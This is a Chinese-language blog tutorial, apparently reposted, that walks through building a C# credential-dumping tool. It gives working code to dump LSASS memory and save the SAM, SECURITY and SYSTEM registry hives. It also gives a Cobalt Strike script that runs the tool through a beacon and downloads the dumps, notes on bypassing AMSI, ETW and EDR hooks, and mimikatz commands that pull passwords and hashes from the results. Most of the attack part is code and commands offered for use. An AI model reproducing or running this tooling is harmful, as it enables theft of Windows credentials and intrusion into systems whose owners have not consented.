C# dump系统lsass内存和sam注册表详细

作者:unicodesec 时间:2021-06-26 12:19:53 

1、检测权限

因为dump系统lsass内存和sam注册表需要管理员权限,所以首先需要对当前进程上下文权限做判断。


public static bool IsHighIntegrity()
{
           // returns true if the current process is running with adminstrative
privs in a high integrity context
           var identity = WindowsIdentity.GetCurrent();
           var principal = new WindowsPrincipal(identity);
           return principal.IsInRole(WindowsBuiltInRole.Administrator);
}

2、lsass内存

MiniDumpWriteDumpMS DbgHelp.dll 中一个API, 用于导出当前运行的程序的Dump,利用MiniDumpWriteDump实现dump lsass内存的功能,先加载MiniDumpWriteDump函数。


[DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump",
CallingConvention = CallingConvention.StdCall, CharSet = CharSet.Unicode,
ExactSpelling = true, SetLastError = true)]
public static extern bool MiniDumpWriteDump(IntPtr hProcess, uint
processId, SafeHandle hFile, uint dumpType, IntPtr expParam, IntPtr
userStreamParam, IntPtr callbackParam);

之后调用函数,并保存dump文件,代码如下所示:


namespace sharpdump
{
   public class MiniDumper
   {
       public static string MiniDump()
       {
           Process[] pLsass = Process.GetProcessesByName("lsass");
           string dumpFile = Path.Combine(Path.GetTempPath(),
string.Format("lsass{0}.dmp", pLsass[0].Id));
           if (File.Exists(dumpFile)) File.Delete(dumpFile);
           Console.WriteLine(String.Format("[*] Dumping lsass({0}) to {1}",
pLsass[0].Id, dumpFile));
           using (FileStream fs = new FileStream(dumpFile, FileMode.Create,
FileAccess.ReadWrite, FileShare.Write))
           {
               bool bRet = MiniDumpWriteDump(pLsass[0].Handle, (uint)pLsass[0].Id,
fs.SafeFileHandle, (uint)2, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);
               if (bRet)
               {
                   Console.WriteLine("[+] Dump successful!");
                   return dumpFile;
               }
               else
               {
                   Console.WriteLine(String.Format("[X] Dump Failed! ErrorCode:
{0}", Marshal.GetLastWin32Error()));
                   return null;
               }
           }
       }
   }
}

3、实现reg save保存sam注册表

首先导入需要用到的API。


       [DllImport("advapi32.dll", CharSet = CharSet.Auto)]
       public static extern int RegOpenKeyEx(
           UIntPtr hKey,
           string subKey,
           int ulOptions,
           int samDesired,
           out UIntPtr hkResult
       );

[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
       public static extern int RegSaveKey(
           UIntPtr hKey,
           string lpFile,
           IntPtr lpSecurityAttributes
       );

[DllImport("advapi32.dll", SetLastError = true)]
       public static extern int RegCloseKey(
           UIntPtr hKey
       );

然后构建函数,对"SAM", "SECURITY", "SYSTEM"注册表进行reg save。


namespace sharpdump
{
   internal class Reg
   {
       public static UIntPtr HKEY_LOCAL_MACHINE = new UIntPtr(0x80000002u);
       public static int KEY_READ = 0x20019;
       public static int KEY_ALL_ACCESS = 0xF003F;
       public static int REG_OPTION_OPEN_LINK = 0x0008;
       public static int REG_OPTION_BACKUP_RESTORE = 0x0004;
       public static int KEY_QUERY_VALUE = 0x1;
       public static void ExportRegKey(string key, string outFile)
       {
           var hKey = UIntPtr.Zero;
           try
           {
               RegOpenKeyEx(HKEY_LOCAL_MACHINE, key, REG_OPTION_BACKUP_RESTORE |
REG_OPTION_OPEN_LINK, KEY_ALL_ACCESS, out hKey);
//https://docs.microsoft.com/en-us/windows/win32/api/winreg/nf-winreg-regcreatekeyexa
               RegSaveKey(hKey, outFile, IntPtr.Zero);
               RegCloseKey(hKey);
               Console.WriteLine("Exported HKLM\\{0} at {1}", key, outFile);
           }
           catch (Exception e)
           {
               throw e;
           }
       }
       public static string DumpReg(string key)
       {
           try
           {
               String addr = key + ".hiv";
               addr = Path.Combine(Path.GetTempPath(), addr);
               ExportRegKey(key, addr);
               return addr;
           }
           catch (Exception e)
           {
               Console.WriteLine(e.Message);
               Console.WriteLine(e.StackTrace);
               return "";
           }
       }
   }
}

文件会被dumptemp目录下,然后对所有dump成功的文件进行打包处理,方便下载。完整代码稍后上传至知识星球。

4、关于ExecuteAssembly

ExecuteAssembly是CS可执行组件的一个替代方案,ExecuteAssembly基于C/C++构建,可以帮助广大研究人员实现.NET程序集的加载和注入。

ExecuteAssembly复用了主机进程spawnto来加载CLR模块/AppDomainManagerStomping加载器/.NET程序集PE DOS头,并卸载了.NET相关模块,以实现ETW+AMSI绕过。除此之外,它还能够绕过基于NT静态系统调用的EDR钩子,以及通过动态解析API(superfasthash哈希算法)实现隐藏导入。

当前metasploit-frameworkCobalt Strike都已经实现了ExecuteAssembly功能,下面主要以Cobalt Strike为例,实现dump系统lsass内存和sam注册表的功能

5、CS 插件

以结合 Cobalt Strike 为例,编写一个简单的cna脚本。


popup beacon_bottom {
   menu "Dumper" {
    item "SharpDump"{
     local('$bid');
              foreach $bid ($1){
                  bexecute_assembly($1, script_resource("Dumper.exe"));
           }
    }
    item "DownloadDump"{
  prompt_text("File's address to download", "", lambda({
   bdownload(@ids, $1);
           }, @ids => $1));

}
   }
}

加载脚本后,执行SharpDump,结果如下所示:

C# dump系统lsass内存和sam注册表详细

下载存放在temp目录下的dump.gz,然后使用Decompress解压,最后使用mimikatz 解密用户lsass.dmpsam文件


mimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit

lsadump::sam /sam:sam.hiv /system:system.hiv

来源:https://www.tuicool.com/articles/Y7RfYn6

标签:C#,dump,lsass,sam
0
投稿

猜你喜欢

  • Java String源码分析并介绍Sting 为什么不可变

    2021-09-23 06:10:42
  • springboot结合maven配置不同环境的profile方式

    2022-05-28 12:00:16
  • 三分钟快速掌握Java中枚举(enum)

    2023-11-27 09:46:30
  • 通过Java设置Word页面背景色过程详解

    2022-06-22 06:23:42
  • 一篇文章带你入门java变量与类型

    2022-10-13 06:14:58
  • 1小时快速上手RabbitMQ(简介及安装过程)

    2022-04-26 15:49:40
  • 深入了解Spring中最常用的11个扩展点

    2023-07-05 17:46:40
  • Quarkus中ConfigSourceInterceptor的加密配置实现

    2021-10-08 10:47:14
  • java实现简单的图书管理系统

    2022-11-25 03:30:11
  • java搜索无向图中两点之间所有路径的算法

    2023-11-10 09:28:26
  • 微信第三方登录Android实现代码

    2023-07-27 08:05:49
  • DUCC配置平台实现一个动态化线程池示例代码

    2023-11-28 12:07:39
  • 详解Java的回调机制

    2023-07-27 07:17:43
  • 详解Mybatis是如何解析配置文件的

    2023-10-15 23:23:40
  • Kotlin之在Gradle中无参(no-arg)编译器插件的使用详解

    2023-07-31 19:11:43
  • Java实现特定范围的完数输出算法示例

    2023-11-29 00:43:45
  • Java xml出现错误 javax.xml.transform.TransformerException: java.lang.NullPointerException

    2023-11-08 14:48:13
  • java语言图形用户登录界面代码

    2021-09-11 23:19:34
  • SpringBoot如何进行对象复制的实践

    2023-11-23 03:40:19
  • 使用SpringBoot开发Restful服务实现增删改查功能

    2023-01-20 05:17:29
  • asp之家 软件编程 m.aspxhome.com